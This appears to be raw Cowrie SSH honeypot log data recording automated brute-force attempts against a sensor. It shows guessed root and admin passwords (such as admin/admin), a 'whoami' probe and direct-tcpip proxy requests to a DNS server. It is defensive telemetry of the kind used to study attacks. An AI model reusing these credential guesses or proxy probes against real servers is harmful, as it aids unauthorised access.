{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:ad:31:b9:48:26:97:0a:56:b1:40:ad:bf:a0:8a:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDptyZ/fihKTVRRIv003CxO5JY1rshI3zs2x0oZ/0bMVJMarY8ln9MM+mlqDZkamMFnro7QFA//mK41ozkWtC9o5Hsc50GDU2io2yON4Hc5VHiPJ0nDDEFKT73/Xse+oCH7D/KMqO7AKayhOXJaKmdXXWfCtSCjzhVAYdsAPMP4hmSJU9wvnVUTAMFfsePdBE92/V9srR1SAxdGmemzlWwMixWS2VEVUgdE0M5KYeOc9Lwl8UmBUm2WFdQtJGccfGbqzC9cDWRpWzNAthDxXp2B8osj7hLQxPWm5S67jeS4A8Y+tTWF97vTSp1cIkVPr3kqgyVM7zAcn7gl8cAsBnth","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.128094Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:cc:16:a2:7a:d1:fb:40:25:04:2e:51:cf:9d:0b:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsO63AIw1ZSt1oXtJG7Sp6hqs0L7JJJLkt416Dxt7mmmJhQvw6YksHaYLt+9P4g626kfnYMwKY/BvJQ9N7KVa6qWmKCsqZUR+cdWPal79z7ztv6YYhq38mcrMQXE5lmiHPqk/DKSxL1RUOlsCoG4rMFrlrYBN4ZHwdXwBqGU33MHF9nuNN0aj9xUA0b7hU6UlLqklNbT78QH1VJYvlfDPHY/Z0HGyndhRcV2vuvaTThPVRVh9KBn78/MngQCCq8560XP/GEzxIQcY0qnA1Rl9si1SqA2C07BYbRy+fqGC2qxrUf488GilIJA09FzhZxPJFcaz6SkyhAO6K/iFF2vs3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:cc:16:a2:7a:d1:fb:40:25:04:2e:51:cf:9d:0b:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.136603Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:cc:16:a2:7a:d1:fb:40:25:04:2e:51:cf:9d:0b:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsO63AIw1ZSt1oXtJG7Sp6hqs0L7JJJLkt416Dxt7mmmJhQvw6YksHaYLt+9P4g626kfnYMwKY/BvJQ9N7KVa6qWmKCsqZUR+cdWPal79z7ztv6YYhq38mcrMQXE5lmiHPqk/DKSxL1RUOlsCoG4rMFrlrYBN4ZHwdXwBqGU33MHF9nuNN0aj9xUA0b7hU6UlLqklNbT78QH1VJYvlfDPHY/Z0HGyndhRcV2vuvaTThPVRVh9KBn78/MngQCCq8560XP/GEzxIQcY0qnA1Rl9si1SqA2C07BYbRy+fqGC2qxrUf488GilIJA09FzhZxPJFcaz6SkyhAO6K/iFF2vs3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.140442Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:b0:1b:35:a7:d9:97:40:a9:de:a8:11:4f:be:f8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnF8tsfGteKlt7f50YEkKe7XRWZdC7osJr9SjKcQDkc4ymXd3OF98o4jbrMrw7DCIxJ5z3M1U2JY6Kr42sCq21HCVjttONSppUzTylwI8KmOuMi9omEbNOUws0Chc1tFsXhOooKmiHLU0TxynJS/9x9FbH0YnqRpuYukyPi7zSAcpioP0zLUkflj2ml6g5O07qL9ayoxyqiu4T7oH6Lwig2XTYFz49eecceEp6MX77IetZJxYAFkjMeeUrJrxS32OYZsH9UCwSH5iE7nB4Vezi3/U5Qw7Xjh5ORJKQDFi7Z7mkLMgZtnB/Wr+PnuJWPNb1e8If0UMJU8I6RmRjLYLn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:b0:1b:35:a7:d9:97:40:a9:de:a8:11:4f:be:f8:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.150280Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:b0:1b:35:a7:d9:97:40:a9:de:a8:11:4f:be:f8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnF8tsfGteKlt7f50YEkKe7XRWZdC7osJr9SjKcQDkc4ymXd3OF98o4jbrMrw7DCIxJ5z3M1U2JY6Kr42sCq21HCVjttONSppUzTylwI8KmOuMi9omEbNOUws0Chc1tFsXhOooKmiHLU0TxynJS/9x9FbH0YnqRpuYukyPi7zSAcpioP0zLUkflj2ml6g5O07qL9ayoxyqiu4T7oH6Lwig2XTYFz49eecceEp6MX77IetZJxYAFkjMeeUrJrxS32OYZsH9UCwSH5iE7nB4Vezi3/U5Qw7Xjh5ORJKQDFi7Z7mkLMgZtnB/Wr+PnuJWPNb1e8If0UMJU8I6RmRjLYLn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.153927Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:a6:1a:0e:53:5e:1a:fb:c4:e6:45:ef:4a:b6:21:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3evEeXQuGyLaNlwe1QU+dLnzwxwZowanSKon07ya/7Fy4Q9NW6bNYH8L/DC9WutTOkcJrokR4orbxlD26qxBj7PZTFPbMy/1Q6YkaLE41qNt/fBd5qnG9XBi9h7piwrV6BxlcJYmb5zr/e4UOU2kH9PJvm5pZZUbPTWhOX+6N5XqxpzALTldrWQRxxyAIYY5PVfWpao+JivA2z/mf95AVTGmPvY2atqDi7b35w9AxXw46j83gdebaxdug52tI52Xw61sPYwUzKdquj6vgLuIi3Dlcf0XbUqBXNEVAjoNowF6zaiRkR9NzzRTnzGQ9ZUqwNXYLTQiIbtzXzuTHOUqeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:a6:1a:0e:53:5e:1a:fb:c4:e6:45:ef:4a:b6:21:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.162219Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:a6:1a:0e:53:5e:1a:fb:c4:e6:45:ef:4a:b6:21:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3evEeXQuGyLaNlwe1QU+dLnzwxwZowanSKon07ya/7Fy4Q9NW6bNYH8L/DC9WutTOkcJrokR4orbxlD26qxBj7PZTFPbMy/1Q6YkaLE41qNt/fBd5qnG9XBi9h7piwrV6BxlcJYmb5zr/e4UOU2kH9PJvm5pZZUbPTWhOX+6N5XqxpzALTldrWQRxxyAIYY5PVfWpao+JivA2z/mf95AVTGmPvY2atqDi7b35w9AxXw46j83gdebaxdug52tI52Xw61sPYwUzKdquj6vgLuIi3Dlcf0XbUqBXNEVAjoNowF6zaiRkR9NzzRTnzGQ9ZUqwNXYLTQiIbtzXzuTHOUqeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.167445Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:27:53.175460Z","src_ip":"104.194.10.248","session":"564af05d6e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":53436,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf4114555f2e","protocol":"ssh","message":"New connection: 103.173.227.57:53436 (10.17.0.5:22) [session: cf4114555f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:07.628975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:07.632930Z","src_ip":"103.173.227.57","session":"cf4114555f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:07.886301Z","src_ip":"103.173.227.57","session":"cf4114555f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345rewq","message":"login attempt [root/12345rewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:08.648352Z","src_ip":"103.173.227.57","session":"cf4114555f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:09.905189Z","src_ip":"103.173.227.57","session":"cf4114555f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":3830,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6e1a92d096b","protocol":"ssh","message":"New connection: 87.251.64.176:3830 (10.17.0.5:22) [session: c6e1a92d096b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:28.615158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:28.620032Z","src_ip":"87.251.64.176","session":"c6e1a92d096b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:28.715118Z","src_ip":"87.251.64.176","session":"c6e1a92d096b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:29.000395Z","src_ip":"87.251.64.176","session":"c6e1a92d096b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:29.097977Z","session":"c6e1a92d096b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:29.193277Z","src_ip":"87.251.64.176","session":"c6e1a92d096b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:28:29.290329Z","src_ip":"87.251.64.176","session":"c6e1a92d096b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":47916,"dst_ip":"159.203.135.109","dst_port":22,"session":"71e74e033cc3","protocol":"ssh","message":"New connection: 103.149.28.157:47916 (159.203.135.109:22) [session: 71e74e033cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:47.071709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:47.076474Z","src_ip":"103.149.28.157","session":"71e74e033cc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:47.327298Z","src_ip":"103.149.28.157","session":"71e74e033cc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15963q","message":"login attempt [root/15963q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:48.071684Z","src_ip":"103.149.28.157","session":"71e74e033cc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:49.323929Z","src_ip":"103.149.28.157","session":"71e74e033cc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.56.159.185","src_port":41532,"dst_ip":"10.17.0.5","dst_port":22,"session":"0720663bb58f","protocol":"ssh","message":"New connection: 50.56.159.185:41532 (10.17.0.5:22) [session: 0720663bb58f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:52.635579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:52.641217Z","src_ip":"50.56.159.185","session":"0720663bb58f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:52.682148Z","src_ip":"50.56.159.185","session":"0720663bb58f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:52.815130Z","src_ip":"50.56.159.185","session":"0720663bb58f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:52.946689Z","src_ip":"50.56.159.185","session":"0720663bb58f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:52.950257Z","src_ip":"50.56.159.185","session":"0720663bb58f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:52.995692Z","src_ip":"50.56.159.185","session":"0720663bb58f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:53.001794Z","src_ip":"50.56.159.185","session":"0720663bb58f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39984,"dst_ip":"10.17.0.5","dst_port":22,"session":"b627900238eb","protocol":"ssh","message":"New connection: 87.251.64.176:39984 (10.17.0.5:22) [session: b627900238eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:55.227712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:55.232584Z","src_ip":"87.251.64.176","session":"b627900238eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:55.326589Z","src_ip":"87.251.64.176","session":"b627900238eb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:55.609574Z","src_ip":"87.251.64.176","session":"b627900238eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:29:55.707163Z","session":"b627900238eb","protocol":"ssh"}
